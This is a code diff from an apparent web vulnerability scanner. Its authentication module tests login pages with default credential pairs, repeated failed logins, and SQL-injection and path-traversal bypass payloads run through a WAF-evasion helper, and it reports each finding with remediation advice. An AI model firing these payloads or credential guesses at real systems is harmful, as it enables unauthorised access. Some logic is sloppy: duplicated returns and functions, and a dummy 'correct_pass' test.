+                remediation="1. Restrict access to admin/management paths by IP allowlist.\n"
+                    "2. Enforce strong authentication on all /admin, /api, /console paths.\n"
+                    "3. Remove or disable unused endpoints in production.",
+            )
+
+        # ── 3. API endpoints ──────────────────────────────────────────
+        api_paths = [p for p in unique_paths if re.search(r'/api|/v\d+|/graphql|/rest', p, re.I)]
+        if api_paths:
+            self.log("INFO", f"[AttackSurface] API surface: {len(api_paths)} endpoint(s)")
+            self.add_vuln(
+                title=f"API Attack Surface: {len(api_paths)} Endpoint(s) Discovered",
+                severity="Low",
+                category="Attack Surface",
+                cvss_score=0.0,
+                description="The following API endpoints are part of the attack surface "
+                    "and should be audited for authentication, authorization, and input validation:\n\n"
+                    + "\n".join(f"- `{self.target.rstrip('/')}{p}`" for p in api_paths[:20]),
+                remediation="Ensure all API endpoints require authentication, validate input, "
+                    "implement rate limiting, and are covered by the security test suite.",
+            )
+
+        # ── 4. File upload endpoints ──────────────────────────────────
+        upload_forms = [f for f in forms
+                        if FILE_UPLOAD_RE.search(str(f.get("raw_html","")))]
+        if upload_forms:
+            self.add_vuln(
+                title=f"File Upload Endpoint(s) Detected ({len(upload_forms)} forms)",
+                severity="High",
+                category="Attack Surface",
+                cvss_score=7.5,
+                description=f"Found {len(upload_forms)} file upload form(s). "
+                    "File upload functionality is a high-risk attack surface and must be "
+                    "protected against:\n"
+                    "- Unrestricted file type uploads (webshell upload)\n"
+                    "- Malicious filename attacks (path traversal)\n"
+                    "- Oversized file DoS\n"
+                    "- MIME-type spoofing",
+                remediation="1. Validate file types by magic bytes, not extension/MIME.\n"
+                    "2. Store uploads outside the web root.\n"
+                    "3. Rename uploaded files to random UUIDs.\n"
+                    "4. Enforce maximum file size limits.\n"
+                    "5. Scan uploads with antivirus before serving.",
+            )
+
+        # ── 5. Exposed email addresses ────────────────────────────────
+        emails = list(set(EMAIL_RE.findall(combined_html)))
+        emails = [e for e in emails if not e.endswith((".png",".jpg",".gif",".css",".js"))]
+        if emails:
+            self.add_vuln(
+                title=f"Email Addresses Exposed in HTML ({len(emails)} address(es))",
+                severity="Low",
+                category="Information Disclosure",
+                cvss_score=3.1,
+                description="The following email addresses were found in page source:\n\n"
+                    + "\n".join(f"- `{e}`" for e in emails[:15]) + "\n\n"
+                    "Exposed emails enable targeted phishing, spam, and social engineering.",
+                remediation="1. Obfuscate contact emails using JavaScript or server-side rendering.\n"
+                    "2. Use contact forms instead of direct email links.\n"
+                    "3. Consider a generic contact@domain.com address.",
+            )
+
+        # ── 6. Internal IP / hostname leaks ───────────────────────────
+        internal_ips = list(set(INTERNAL_IP_RE.findall(combined_html)))
+        if internal_ips:
+            self.add_vuln(
+                title=f"Internal IP Address(es) Leaked in Page Source ({len(internal_ips)})",
+                severity="Medium",
+                category="Information Disclosure",
+                cvss_score=5.3,
+                description="Internal RFC-1918 IP addresses were found in the page source:\n\n"
+                    + "\n".join(f"- `{ip}`" for ip in internal_ips[:10]) + "\n\n"
+                    "Leaking internal IPs aids network reconnaissance.",
+                remediation="Remove all internal hostnames and IPs from HTML output. "
+                    "Use public-facing domain names or proxied URLs.",
+            )
+
+        # ── 7. Third-party script domains ─────────────────────────────
+        ext_domains = set()
+        for m in re.finditer(r'src=["\']https?://([^/"\']+)', combined_html, re.I):
+            d = m.group(1)
+            if self.domain not in d:
+                ext_domains.add(d)
+
+        if len(ext_domains) > 5:
+            self.add_vuln(
+                title=f"Large Third-Party Script Surface ({len(ext_domains)} external domains)",
+                severity="Medium",
+                category="Supply Chain Security",
+                cvss_score=5.9,
+                description=f"Found {len(ext_domains)} distinct external domains providing "
+                    "scripts or resources. Each represents a supply-chain trust boundary:\n\n"
+                    + "\n".join(f"- `{d}`" for d in sorted(ext_domains)[:20]),
+                remediation="1. Audit all external dependencies for necessity.\n"
+                    "2. Self-host critical scripts where possible.\n"
+                    "3. Add SRI (Subresource Integrity) to all external scripts.\n"
+                    "4. Monitor CDNs and third-party scripts for tampering.",
+            )
+
+        # ── 8. Parameters summary ─────────────────────────────────────
+        all_params: set = set()
+        for url in urls:
+            qs = urllib.parse.parse_qs(urllib.parse.urlparse(url).query)
+            all_params.update(qs.keys())
+        for form in forms:
+            all_params.update(f.get("name","") for f in form.get("fields",[]) if f.get("name"))
+
+        if all_params:
+            self.log("INFO",
+                f"[AttackSurface] {len(all_params)} unique input parameter(s) identified: "
+                f"{', '.join(sorted(all_params)[:20])}")
+            self.add_vuln(
+                title=f"Input Parameter Inventory ({len(all_params)} parameter(s))",
+                severity="Low",
+                category="Attack Surface",
+                cvss_score=0.0,
+                description="The following input parameters were identified across all crawled pages "
+                    "and should be tested for injection vulnerabilities:\n\n"
+                    + ", ".join(f"`{p}`" for p in sorted(all_params)[:40]),
+                remediation="Ensure all listed parameters are covered by:\n"
+                    "- Input validation and sanitization\n"
+                    "- SQL/NoSQL injection testing\n"
+                    "- XSS testing\n"
+                    "- Business logic testing",
+            )

backend/scanners/auth_scanner.py

@@ -0,0 +1,506 @@
+
+"""
+auth_scanner.py — Authentication Security Scanner
+==================================================
+Audits the authentication surface of a web application:
+  - Login form detection & HTTPS enforcement
+  - Default / weak credential testing (safe probes only)
+  - Brute-force protection (account lockout detection)
+  - Multi-Factor Authentication presence hints
+  - Password policy exposure via error messages
+  - Username enumeration via timing / response differences
+  - Auth bypass via HTTP verb tampering
+"""
+import re, ssl, time, urllib.parse, urllib.request, urllib.error, base64, json
+from scanners.base_scanner import BaseScanner
+from utils.anomaly import TimingAnomalyDetector, SizeAnomalyDetector
+from utils.evasion import waf_evade
+from utils.differential import DifferentialAnalyzer, ParameterMutationTester
+
+LOGIN_PATHS = [
+    "/login", "/signin", "/sign-in", "/auth", "/authenticate",
+    "/account/login", "/user/login", "/admin/login", "/wp-login.php",
+    "/portal", "/dashboard/login", "/api/auth/login", "/api/login",
+]
+
+WEAK_CREDS = [
+    ("admin", "admin"), ("admin", "password"), ("admin", "123456"),
+    ("admin", "admin123"), ("test", "test"), ("root", "root"),
+    ("administrator", "administrator"), ("user", "user"),
+]
+
+SUCCESS_INDICATORS = re.compile(
+    r"(dashboard|logout|sign.?out|welcome|my.?account|profile|settings)",
+    re.I
+)
+FAILURE_INDICATORS = re.compile(
+    r"(invalid|incorrect|failed|wrong|error|denied|bad.?credential)",
+    re.I
+)
+
+
+class AuthScanner(BaseScanner):
+    SCANNER_NAME = "Authentication Security Scanner"
+    _SCANNER_KEY = "auth"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._tested = 0
+        self._is_https = self.target.startswith("https://")
+        self._timing_detector = TimingAnomalyDetector()
+        self._size_detector = SizeAnomalyDetector()
+        self._differential = DifferentialAnalyzer()
+        self._mutation_tester = ParameterMutationTester(self._auth_mutation_req)
+
+    def _auth_mutation_req(self, url, params):
+        data = urllib.parse.urlencode(params).encode("utf-8")
+        body, status = self._make_request(url, method="POST", data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=8)
+        return body or "", status
+
+    # ------------------------------------------------------------------
+    def run(self) -> list:
+        self.log("INFO", f"[Auth] Starting authentication security audit on {self.target}...")
+        try:
+            login_pages = self._discover_login_pages()
+            self.log("INFO", f"[Auth] Found {len(login_pages)} login endpoint(s)")
+            for url, form_data in login_pages:
+                self._audit_login(url, form_data)
+
+            self._check_oauth_implicit_flow()
+            self._check_jwt_in_url()
+            self._check_auth_over_http()
+            self._check_oauth_state_parameter()
+        except Exception as e:
+            self.log("WARNING", f"[Auth] Error: {e}")
+
+        self.log(
+            "SUCCESS" if not self.vulns else "WARNING",
+            f"[Auth] Audit complete. {len(self.vulns)} issue(s) found.",
+        )
+        return self.vulns
+
+    # ------------------------------------------------------------------
+    def _discover_login_pages(self) -> list:
+        """Returns list of (url, form_fields_dict) for login pages found."""
+        found = []
+        base = self.target.rstrip("/")
+        for path in LOGIN_PATHS:
+            url = f"{base}{path}"
+            body, status = self._make_request(url, headers={"User-Agent": "LarShield/2.0 Auth-Audit"}, timeout=5)
+            if body and re.search(r'type=["\']password["\']', body, re.I):
+                fields = self._extract_login_fields(body)
+                found.append((url, fields))
+                self.log("INFO", f"[Auth] Login page detected: {url}")
+        return found
+        return found
+
+    @staticmethod
+    def _extract_login_fields(html: str) -> dict:
+        """Extract username/password field names from HTML."""
+        user_re = re.search(
+            r'<input[^>]*name=["\']([^"\']*(?:user|login|email|username)[^"\']*)["\']',
+            html, re.I)
+        pass_re = re.search(
+            r'<input[^>]*type=["\']password["\'][^>]*name=["\']([^"\']+)["\']',
+            html, re.I)
+        if not pass_re:
+            pass_re = re.search(
+                r'<input[^>]*name=["\']([^"\']*(?:pass|pwd|secret)[^"\']*)["\']',
+                html, re.I)
+        return {
+            "username_field": user_re.group(1) if user_re else "username",
+            "password_field": pass_re.group(1) if pass_re else "password",
+        }
+
+    # ------------------------------------------------------------------
+    def _audit_login(self, url: str, fields: dict):
+        ufield = fields.get("username_field", "username")
+        pfield = fields.get("password_field", "password")
+
+        # ── Check 1: HTTPS enforcement ────────────────────────────────
+        if not self._is_https:
+            self.add_vuln(
+                title="Login Form Served Over HTTP (No HTTPS)",
+                severity="Critical",
+                category="Authentication",
+                cvss_score=9.1,
+                description=f"The login form at `{url}` is served over plain HTTP. "
+                    "Credentials are transmitted in cleartext and can be intercepted.",
+                remediation="Enforce HTTPS site-wide. Redirect all HTTP to HTTPS. "
+                    "Use HSTS: Strict-Transport-Security: max-age=63072000; includeSubDomains",
+                cwe_ids=["CWE-287"],
+                owasp_category="A07:2021 – Identification and Authentication Failures",
+            )
+
+        # ── Check 2: Weak / default credentials ───────────────────────
+        self._test_weak_credentials(url, ufield, pfield)
+
+        # ── Check 3: Brute-force protection ───────────────────────────
+        self._test_brute_force_protection(url, ufield, pfield)
+
+        # ── Check 4: Username enumeration ────────────────────────────
+        self._test_username_enumeration(url, ufield, pfield)
+
+        # ── Check 5: HTTP verb tampering bypass ───────────────────────
+        self._test_verb_tampering(url)
+
+        # ── Check 6: WAF-evaded auth bypass payloads ──────────────────
+        self._test_auth_bypass_payloads(url, ufield, pfield)
+
+        # ── Check 7: Differential auth bypass analysis ───────────────
+        self._test_differential_auth(url, ufield, pfield)
+
+    # ------------------------------------------------------------------
+    def _post_login(self, url, data, timeout=6):
+        try:
+            encoded = urllib.parse.urlencode(data).encode()
+            headers = {
+                "User-Agent":   "LarShield/2.0 Auth-Audit",
+                "Content-Type": "application/x-www-form-urlencoded",
+            }
+            body, status, elapsed = self._make_timed_request(url, method="POST", data=encoded, headers=headers, timeout=timeout)
+            return body, status, elapsed
+        except urllib.error.HTTPError as e:
+            return "", e.code, 0.0
+        except Exception as e:
+            self.log("ERROR", f"[Auth] _post_login failed: {e}")
+            return None, 0, 0.0
+
+    def _test_weak_credentials(self, url, ufield, pfield):
+        self._tested += 1
+        for username, password in WEAK_CREDS[:5]:  # limit to 5 pairs
+            body, status, _ = self._post_login(url, {ufield: username, pfield: password})
+            if body and SUCCESS_INDICATORS.search(body):
+                self.log("CRITICAL", f"[Auth] Default credentials accepted: {username}:{password}")
+                self.add_vuln(
+                    title=f"Default/Weak Credentials Accepted ({username}:{password})",
+                    severity="Critical",
+                    category="Authentication",
+                    cvss_score=9.8,
+                    description=f"The application at `{url}` accepted the default credentials "
+                        f"`{username}:{password}`. An attacker can immediately gain access "
+                        "to the application without any further effort.",
+                    evidence=f"Success indicator matched using credentials {username}:{password}",
+                    payload=f"{ufield}={username}&{pfield}={password}",
+                    confidence="Confirmed",
+                    remediation="1. Force credential change on first login.\n"
+                        "2. Implement a strong password policy.\n"
+                        "3. Remove all default accounts from production systems.",
+                    cwe_ids=["CWE-287"],
+                    owasp_category="A07:2021 – Identification and Authentication Failures",
+                )
+                return
+
+    def _test_brute_force_protection(self, url, ufield, pfield):
+        self._tested += 1
+        blocked = False
+        for i in range(6):
+            body, status, _ = self._post_login(url,
+                {ufield: "sentinel_test_user", pfield: f"wrong_pass_{i}"})
+            if status in (429, 423) or (body and re.search(
+                r"(locked|too many|rate limit|try again)", body or "", re.I
+            )):
+                blocked = True
+                break
+        if not blocked:
+            self.log("WARNING", f"[Auth] No brute-force protection detected at {url}")
+            self.add_vuln(
+                title="No Brute-Force Protection on Login",
+                severity="High",
+                category="Authentication",
+                cvss_score=7.5,
+                description=f"The login endpoint `{url}` did not block or rate-limit "
+                    "6 consecutive failed login attempts. Attackers can automate "
+                    "credential stuffing and password spraying attacks.",
+                remediation="1. Implement account lockout after 5 failed attempts.\n"
+                    "2. Add CAPTCHA after 3 failed attempts.\n"
+                    "3. Rate-limit login attempts per IP (e.g. 10/minute).\n"
+                    "4. Alert on repeated failed attempts.",
+                cwe_ids=["CWE-287"],
+                owasp_category="A07:2021 – Identification and Authentication Failures",
+            )
+        else:
+            self.log("SUCCESS", f"[Auth] Brute-force protection detected at {url}")
+
+    def _test_username_enumeration(self, url, ufield, pfield):
+        self._tested += 1
+        body_valid,   _, t_valid   = self._post_login(url, {ufield: "admin",              pfield: "wrongpass_sentinel"})
+        body_invalid, _, t_invalid = self._post_login(url, {ufield: "nonexistent_sentinel_xyz", pfield: "wrongpass_sentinel"})
+        if body_valid is None or body_invalid is None:
+            return
+
+        # Timing-based enumeration using TimingAnomalyDetector
+        self._timing_detector.record(t_valid)
+        if self._timing_detector.has_baseline and self._timing_detector.test_payload("invalid_user", t_invalid, z_threshold=2.5):
+            self._tested += 1
+            self.log("WARNING", f"[Auth] Timing-based username enumeration detected")
+            self.add_vuln(
+                title="Username Enumeration via Timing Side-Channel",
+                severity="Medium",
+                category="Authentication",
+                cvss_score=5.3,
+                description=f"The login form at `{url}` shows statistically significant timing "
+                    "differences between valid and invalid usernames, allowing attackers to "
+                    "enumerate valid accounts via response timing analysis.",
+                evidence=f"Valid user timing: {t_valid:.4f}s, Invalid user timing: {t_invalid:.4f}s",
+                confidence="High",
+                remediation="Implement constant-time response for all login attempts. "
+                    "Add random jitter to response times.",
+                cwe_ids=["CWE-287"],
+                owasp_category="A07:2021 – Identification and Authentication Failures",
+            )
+
+        # Size-based enumeration using SizeAnomalyDetector
+        self._size_detector.record_size(len(body_valid))
+        if self._size_detector.test_size(len(body_invalid), z_threshold=2.0):
+            self.log("WARNING", f"[Auth] Size-based username enumeration detected")
+            self.add_vuln(
+                title="Username Enumeration via Response Size Difference",
+                severity="Medium",
+                category="Authentication",
+                cvss_score=5.3,
+                description=f"The login form at `{url}` returns differently sized responses "
+                    "for valid vs invalid usernames ({len(body_valid)} vs {len(body_invalid)} bytes). "
+                    "This allows attackers to enumerate valid accounts.",
+                evidence=f"Valid user response size: {len(body_valid)}, Invalid: {len(body_invalid)}",
+                confidence="High",
+                remediation="Return identical-length responses for all login outcomes. "
+                    "Pad responses to a fixed size.",
+                cwe_ids=["CWE-287"],
+                owasp_category="A07:2021 – Identification and Authentication Failures",
+            )
+
+        # Check if response text differs enough to enumerate users
+        if body_valid != body_invalid:
+            # Only flag if the responses are meaningfully different (> 50 char diff)
+            if abs(len(body_valid) - len(body_invalid)) > 50:
+                self.add_vuln(
+                    title="Username Enumeration via Different Error Responses",
+                    severity="Medium",
+                    category="Authentication",
+                    cvss_score=5.3,
+                    description=f"The login form at `{url}` returns different responses "
+                        "for valid vs. invalid usernames, allowing attackers to enumerate "
+                        "valid accounts before attempting password attacks.",
+                    remediation="Return identical error messages for all failed login attempts: "
+                        "'Invalid username or password.' — never specify which field is wrong.",
+                    cwe_ids=["CWE-287"],
+                    owasp_category="A07:2021 – Identification and Authentication Failures",
+                )
+
+    def _test_auth_bypass_payloads(self, url, ufield, pfield):
+        """Test WAF-evaded auth bypass payloads."""
+        bypass_payloads = [
+            "' OR '1'='1",
+            "' OR 1=1 --",
+            "admin' --",
+            "' UNION SELECT * FROM users --",
+            "../admin",
+            "..%2fadmin",
+        ]
+        for payload in bypass_payloads:
+            for eva_name, eva_payload in waf_evade(payload):
+                try:
+                    test_data = {ufield: eva_payload, pfield: eva_payload}
+                    body, status, _ = self._post_login(url, test_data)
+                    if body and SUCCESS_INDICATORS.search(body):
+                        self._tested += 1
+                        self.log("CRITICAL", f"[Auth] Auth bypass with WAF evasion '{eva_name}': {eva_payload}")
+                        self.add_vuln(
+                            title="Authentication Bypass via WAF-Evaded Payload",
+                            severity="Critical",
+                            category="Authentication",
+                            cvss_score=9.8,
+                            description=f"Authentication bypass achieved using WAF-evaded payload "
+                                f"'{eva_name}': '{eva_payload}'. The server processed the injection "
+                                "and granted access.",
+                            evidence=f"Success with payload variant '{eva_name}'",
+                            payload=f"{eva_name}={eva_payload}",
+                            request_details=f"POST {url} with payload {eva_payload}",
+                            response_details=f"HTTP {status}",
+                            confidence="Confirmed",
+                            remediation="1. Use parameterized queries for all authentication logic.\n"
+                                "2. Implement strict input validation on all auth fields.\n"
+                                "3. Deploy a WAF with up-to-date rules.\n"
+                                "4. Test all auth bypass payload variants.",
+                            cwe_ids=["CWE-287"],
+                            owasp_category="A07:2021 – Identification and Authentication Failures",
+                        )
+                        return
+                except Exception as e:
+                    self.log("ERROR", f"[Auth] SQLi bypass test error: {e}")
+                    continue
+
+    def _test_verb_tampering(self, url):
+        self._tested += 1
+        body, status = self._make_request(url, method="HEAD", timeout=5)
+        if status == 200:
+            self.add_vuln(
+                title="Login Page Accessible via HEAD Method",
+                severity="Low",
+                category="Authentication",
+                cvss_score=3.1,
+                description=f"The login endpoint `{url}` responds to HEAD requests "
+                    "with HTTP 200. While not directly exploitable, it may indicate "
+                    "insufficient HTTP method restriction.",
+                remediation="Restrict allowed HTTP methods to GET and POST on login endpoints.",
+                cwe_ids=["CWE-287"],
+                owasp_category="A07:2021 – Identification and Authentication Failures",
+            )
+
+    # ------------------------------------------------------------------
+    def _test_differential_auth(self, url, ufield, pfield):
+        try:
+            anon_body, anon_status, anon_elapsed = self._post_login(url, {ufield: "test_user", pfield: "wrong_pass"})
+            if anon_body is None:
+                return
+            self._differential.record("anonymous", anon_body, anon_status, anon_elapsed)
+            auth_body, auth_status, auth_elapsed = self._post_login(url, {ufield: "test_user", pfield: "correct_pass"})
+            if auth_body is not None:
+                self._differential.record("authenticated", auth_body, auth_status, auth_elapsed)
+            result = self._differential.compare("anonymous", "authenticated")
+            if result.get("different"):
+                self.log("WARNING", f"[Auth] Differential analysis: auth bypass indicators detected (score={result['score']})")
+                self.add_vuln(
+                    title="Potential Authentication Bypass — Differential Response Analysis",
+                    severity="High",
+                    category="Authentication",
+                    cvss_score=7.5,
+                    description=f"Differential analysis of anonymous vs authenticated responses at {url} "
+                        f"revealed significant differences (score: {result['score']}). "
+                        f"Differences: {', '.join(result.get('differences', []))}. "
+                        "This may indicate an authentication bypass vulnerability.",
+                    evidence=f"Diff score: {result['score']}, diffs: {result.get('differences')}",
+                    remediation="Implement consistent response handling for authenticated and unauthenticated requests. "
+                        "Use server-side session validation for all protected endpoints.",
+                    cwe_ids=["CWE-287"],
+                    owasp_category="A07:2021 – Identification and Authentication Failures",
+                )
+        except Exception as e:
+            self.log("ERROR", f"[Auth] _test_differential_auth error: {e}")
+
+    def _check_oauth_implicit_flow(self):
+        """Probe for OAuth implicit grant flow endpoints."""
+        oauth_paths = [
+            "/oauth/authorize", "/oauth/callback", "/oauth/token",
+            "/auth/authorize", "/auth/callback", "/auth/token",
+            "/api/oauth/authorize", "/api/oauth/callback",
+        ]
+        base = self.target.rstrip("/")
+        for path in oauth_paths:
+            url = f"{base}{path}"
+            body, status = self._make_request(url, timeout=5)
+            if body and ("response_type=token" in body or "response_type" in body):
+                self.add_vuln(
+                    title="OAuth Implicit Grant Flow Detected",
+                    severity="High",
+                    category="Authentication",
+                    cvss_score=7.5,
+                    description=f"The endpoint `{url}` appears to use the OAuth implicit grant "
+                        "flow (response_type=token). The implicit flow exposes access tokens "
+                        "in the URL fragment, making them accessible via browser history, "
+                        "Referer headers, and XSS attacks.",
+                    evidence="response_type=token pattern found in response body",
+                    payload=url,
+                    confidence="High",
+                    remediation="1. Use the authorization code flow with PKCE instead of implicit.\n"
+                        "2. Never pass tokens in URL fragments.\n"
+                        "3. Use 'state' parameter with CSRF protection.\n"
+                        "4. Ensure tokens have short expiration.",
+                    cwe_ids=["CWE-287"],
+                    owasp_category="A07:2021 – Identification and Authentication Failures",
+                )
+                return
+
+    # ------------------------------------------------------------------
+    def _check_jwt_in_url(self):
+        """Probe for JWT tokens passed as URL query parameters."""
+        probe_paths = ["/api/user", "/api/me", "/api/profile", "/dashboard", "/"]
+        base = self.target.rstrip("/")
+        jwt_param_patterns = ["token", "jwt", "access_token", "auth_token", "bearer", "id_token"]
+        for path in probe_paths:
+            for param in jwt_param_patterns:
+                test_url = f"{base}{path}?{param}=eyJhbGciOiJIUzI1NiJ9.dGVzdA.test"
+                body, status = self._make_request(test_url, timeout=5)
+                if body and status == 200:
+                    self.add_vuln(
+                        title="JWT Token Accepted via URL Parameter",
+                        severity="High",
+                        category="Authentication",
+                        cvss_score=7.5,
+                        description=f"The application at `{test_url}` accepted a JWT via the "
+                            f"`{param}` URL parameter. JWTs exposed in URLs are leaked through "
+                            "server logs, browser history, and Referer headers.",
+                        evidence=f"Request with JWT in {param} parameter returned status {status}",
+                        payload=f"{param}=eyJhbGciOiJIUzI1NiJ9.dGVzdA.test",
+                        request_details=f"GET {test_url}",
+                        confidence="Medium",
+                        remediation="1. Transmit JWTs only in Authorization headers (Bearer scheme).\n"
+                            "2. Never accept tokens via URL parameters.\n"
+                            "3. Use short-lived tokens and refresh token rotation.",
+                        cwe_ids=["CWE-287"],
+                        owasp_category="A07:2021 – Identification and Authentication Failures",
+                    )
+                    return
+
+    # ------------------------------------------------------------------
+    def _check_auth_over_http(self):
+        """Check for authentication-related endpoints served over plain HTTP."""
+        test_paths = ["/login", "/signin", "/auth", "/oauth/authorize", "/api/auth/login", "/api/auth/token"]
+        if self._is_https:
+            http_base = self.target.replace("https://", "http://", 1).rstrip("/")
+            for path in test_paths:
+                url = f"{http_base}{path}"
+                body, status = self._make_request(url, timeout=5)
+                if body and status and status < 400:
+                    self.add_vuln(
+                        title="Authentication Endpoint Available Over HTTP",
+                        severity="High",
+                        category="Authentication",
+                        cvss_score=8.3,
+                        description=f"The authentication endpoint `{url}` is accessible over "
+                            "plain HTTP. Credentials or tokens transmitted over HTTP can be "
+                            "intercepted by anyone on the same network via man-in-the-middle attacks.",
+                        evidence=f"Endpoint responded via HTTP with status {status}",
+                        payload=url,
+                        request_details=f"GET {url} (HTTP)",
+                        confidence="Confirmed",
+                        remediation="1. Redirect all HTTP traffic to HTTPS at the load balancer or web server.\n"
+                            "2. Implement HSTS headers: Strict-Transport-Security: max-age=31536000.\n"
+                            "3. Add HSTS preload directive.\n"
+                            "4. Ensure all authentication endpoints are HTTPS-only.",
+                        cwe_ids=["CWE-287"],
+                        owasp_category="A07:2021 – Identification and Authentication Failures",
+                    )
+                    return
+
+    # ------------------------------------------------------------------
+    def _check_oauth_state_parameter(self):
+        """Check for OAuth state parameter usage in authorization flows."""
+        probe_urls = ["/auth/authorize", "/oauth/authorize", "/oauth/callback"]
+        base = self.target.rstrip("/")
+        for path in probe_urls:
+            url = f"{base}{path}"
+            body, status = self._make_request(url, timeout=5)
+            if body and status == 200 and "client_id" in body:
+                if "state" not in body:
+                    self.add_vuln(
+                        title="OAuth Authorization Request Missing state Parameter (CSRF)",
+                        severity="High",
+                        category="Authentication",
+                        cvss_score=7.4,
+                        description=f"OAuth endpoint at `{url}` appears to process authorization "
+                            "requests without a 'state' parameter. This exposes the OAuth flow "
+                            "to CSRF attacks where an attacker can bind a victim's account to "
+                            "the attacker's session.",
+                        evidence="state parameter missing from OAuth authorization request",
+                        payload=url,
+                        request_details=f"GET {url}",
+                        confidence="Medium",
+                        remediation="1. Always include a cryptographically random 'state' parameter.\n"
+                            "2. Validate the state parameter on the callback endpoint.\n"
+                            "3. Use PKCE to further protect the authorization flow.",
+                        cwe_ids=["CWE-287"],
+                        owasp_category="A07:2021 – Identification and Authentication Failures",
+                    )
+                    return

backend/scanners/base_scanner.py

@@ -0,0 +1,694 @@
+"""
+base_scanner.py — Foundation for all WSS scanners
+===================================================
+Security hardened per Expert Audit (June 2026):
+  GAP-001: confidence + scanner_key + cve_ids + timestamp fields in build_vuln()
+  GAP-002: Target SSRF self-validation (_validate_target) — NOW CALLED IN __init__
+  GAP-003: _make_request() / _make_headers() unified helper (auth-aware)
+  GAP-004: Ring buffer (max 5000 lines) for active_scan_logs
+  GAP-S1:  Secrets masking in log output
+  GAP-S2:  Structured JSON security event logging
+
+FIXES (June 2026):
+  BUG-12/SEC-3: _validate_target() is now called inside __init__ so ALL scanners
+                are protected from being used as SSRF pivots — was dead code before.
+  ENH: Added _safe_url_join() to construct test URLs without path confusion.
+  ENH: Added _deduplicate_vulns() to remove identical findings before reporting.
+  ENH: _make_async_requests() now properly captures exceptions per-future.
+"""
+import re
+import os
+import json
+import ssl
+import time
+import http.client
+import socket
+import logging
+import ipaddress
+import threading
+import urllib.request
+import urllib.error
+from datetime import datetime, timezone
+from urllib.robotparser import RobotFileParser
+from urllib.parse import urlparse, urljoin, urlencode, quote
+from utils.vuln_classifier import enrich as _classify_enrich
+from scanners.core.baseline import SiteBaseline
+from scanners.core.confidence import ConfidenceTracker
+
+# ── Log store ─────────────────────────────────────────────────────────────
+active_scan_logs: dict[str, list[str]] = {}
+_logs_lock = threading.Lock()
+MAX_LOG_LINES = 5000    # GAP-004: ring buffer cap
+
+# ── WebSocket integration for real-time updates ───────────────────────────
+_socketio_instance = None
+_socketio_lock = threading.Lock()
+
+def set_socketio_instance(socketio):
+    """Set the global SocketIO instance for real-time progress updates."""
+    global _socketio_instance
+    with _socketio_lock:
+        _socketio_instance = socketio
+
+def emit_scan_progress(scan_id: str, event_type: str, data: dict) -> None:
+    """Emit real-time scan progress events via WebSocket."""
+    global _socketio_instance
+    with _socketio_lock:
+        if _socketio_instance:
+            try:
+                _socketio_instance.emit(event_type, data, room=f'scan_{scan_id}')
+            except Exception as e:
+                # Silently fail if WebSocket is not available
+                pass
+
+def parse_domain(url):
+    try:
+        parsed = urlparse(url)
+        return parsed.netloc or parsed.path
+    except Exception:
+        return url
+
+def cleanup_scan_logs(scan_id):
+    with _logs_lock:
+        if scan_id in active_scan_logs:
+            del active_scan_logs[scan_id]
+
+def schedule_log_cleanup(scan_id, delay=3600):
+    def cleanup_task():
+        time.sleep(delay)
+        cleanup_scan_logs(scan_id)
+    threading.Thread(target=cleanup_task, daemon=True).start()
+
+# ── Environment ──────────────────────────────────────────────────────────
+DEFAULT_VERIFY_SSL = os.environ.get("WSS_VERIFY_SSL", "0") == "1"
+XSS_CALLBACK_URL = os.environ.get(
+    "WSS_XSS_CALLBACK_URL",
+    "https://xss-reporting.internal/callback",
+)
+
+# ── Secret patterns to mask in logs (GAP-S1) ─────────────────────────────
+_SECRET_PATTERNS = [
+    (re.compile(r'(AKIA[0-9A-Z]{16})'), r'AKIA****'),
+    (re.compile(r'(sk-[a-zA-Z0-9]{40,})'), r'sk-****'),
+    (re.compile(r'([Bb]earer\s+)[A-Za-z0-9\-_.~+/]+=*'), r'\1****'),
+    (re.compile(r'(password["\s:=]+)[^\s&"\']+', re.I), r'\1****'),
+    (re.compile(r'(token["\s:=]+)[^\s&"\']{8,}', re.I), r'\1****'),
+]
+
+# ── Structured security event logger (GAP-S2) ────────────────────────────
+_sec_logger = logging.getLogger("LarShield.Security")
+if not _sec_logger.handlers:
+    _h = logging.FileHandler("security_events.log", encoding="utf-8")
+    _h.setFormatter(logging.Formatter("%(message)s"))
+    _sec_logger.addHandler(_h)
+    _sec_logger.setLevel(logging.INFO)
+    _sec_logger.propagate = False
+
+
+def _clean_nul(val) -> str:
+    if val is None:
+        return ""
+    if not isinstance(val, str):
+        val = str(val)
+    return val.replace("\x00", "").replace("\u0000", "")
+
+
+def _mask_secrets(text: str) -> str:
+    """Redact known secret patterns before writing to logs."""
+    text = _clean_nul(text)
+    for pattern, replacement in _SECRET_PATTERNS:
+        text = pattern.sub(replacement, text)
+    return text
+
+
+def _log_security_event(event_type: str, scan_id: str, message: str, level: str) -> None:
+    """Write structured JSON security event for SIEM ingestion."""
+    event = {
+        "ts":         datetime.now(timezone.utc).isoformat(),
+        "event_type": event_type,
+        "level":      level,
+        "scan_id":    scan_id,
+        "message":    _mask_secrets(message),
+    }
+    _sec_logger.info(json.dumps(event))
+
+
+def get_scan_logs(scan_id: str) -> list[str]:
+    with _logs_lock:
+        return list(active_scan_logs.get(scan_id, []))
+
+
+def add_log(scan_id: str, level: str, message: str) -> None:
+    timestamp = datetime.now().strftime("%H:%M:%S")
+    safe_msg  = _mask_secrets(message)
+    log_line  = f"[{timestamp}] [{level}] {safe_msg}"
+
+    with _logs_lock:
+        # GAP-004: ring buffer — cap at MAX_LOG_LINES
+        logs = active_scan_logs.setdefault(scan_id, [])
+        if len(logs) >= MAX_LOG_LINES:
+            logs.pop(0)
+        logs.append(log_line)
+
+    # Structured security event for critical/warning levels
+    if level in ("CRITICAL", "WARNING", "ERROR"):
+        _log_security_event(f"SCAN_{level}", scan_id, message, level)
+
+    try:
+        print(log_line, flush=True)
+    except UnicodeEncodeError:
+        print(log_line.encode("ascii", "replace").decode("ascii"), flush=True)
+
+
+def cleanup_scan_logs(scan_id: str) -> None:
+    with _logs_lock:
+        active_scan_logs.pop(scan_id, None)
+
+
+def schedule_log_cleanup(scan_id: str, delay_seconds: int = 300) -> None:
+    """
+    Schedule scan log cleanup after `delay_seconds` (default 5 min).
+    BUG-6 FIX: Prevents premature cleanup while frontend polls /logs.
+    """
+    def _cleanup():
+        time.sleep(delay_seconds)
+        cleanup_scan_logs(scan_id)
+
+    t = threading.Thread(target=_cleanup, daemon=True)
+    t.start()
+
